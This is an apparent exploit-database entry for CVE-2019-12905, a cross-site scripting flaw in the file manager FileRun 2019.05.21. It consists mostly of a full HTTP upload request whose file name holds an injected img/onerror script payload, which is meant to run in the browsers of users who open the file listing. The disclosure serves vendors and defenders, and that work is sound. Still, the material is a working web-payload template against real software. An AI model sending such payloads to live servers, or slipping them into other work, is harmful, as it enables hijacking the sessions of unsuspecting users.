FileRun 2019.05.21 Cross Site Scripting

`# Exploit Title: FileRun 2019.05.21 - Reflected Cross-Site Scripting  
# Date: 2019-07-01  
# Exploit Author: Emre ÖVÜNÇ  
# Vendor Homepage: https://www.filerun.com/  
# Software Link: https://filerun.com/download  
# Version: v2019.05.21  
# Tested on: Windows/Linux  
# CVE: CVE-2019-12905  
  
# CVE-2019-12905  
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12905  
# https://github.com/EmreOvunc/FileRun-Vulnerabilities/issues/3  
  
# PoC  
  
To exploit vulnerability, someone could upload an allowed file named “><img  
src=x onerror=prompt(document.domain)> to impact users who open the page.  
  
POST /filerun/?module=fileman&section=do&page=up HTTP/1.1  
Host: [TARGET]  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)  
Gecko/20100101 Firefox/67.0  
Accept: */*  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://172.16.191.129/filerun/  
Content-Type: multipart/form-data;  
boundary=---------------------------142096305821079611661465592403  
Content-Length: 6034  
DNT: 1  
Connection: close  
Cookie: FileRunSID=aqlneuv86ccj3pi4h476faopi5  
  
-----------------------------142096305821079611661465592403  
Content-Disposition: form-data; name="flowTotalSize"  
  
5100  
-----------------------------142096305821079611661465592403  
Content-Disposition: form-data; name="flowIsFirstChunk"  
  
1  
-----------------------------142096305821079611661465592403  
Content-Disposition: form-data; name="flowIsLastChunk"  
  
1  
-----------------------------142096305821079611661465592403  
Content-Disposition: form-data; name="flowFilename"  
  
�><img src=x onerror=prompt(document.domain)>.jpg  
-----------------------------142096305821079611661465592403  
Content-Disposition: form-data; name="path"  
  
/ROOT/HOME  
-----------------------------142096305821079611661465592403  
Content-Disposition: form-data; name="file"; filename="�><img src=x  
onerror=prompt(document.domain)>.jpg"  
Content-Type: image/jpg  
  
<%@ I said you should learn! %>  
  
  
-----------------------------142096305821079611661465592403--  
`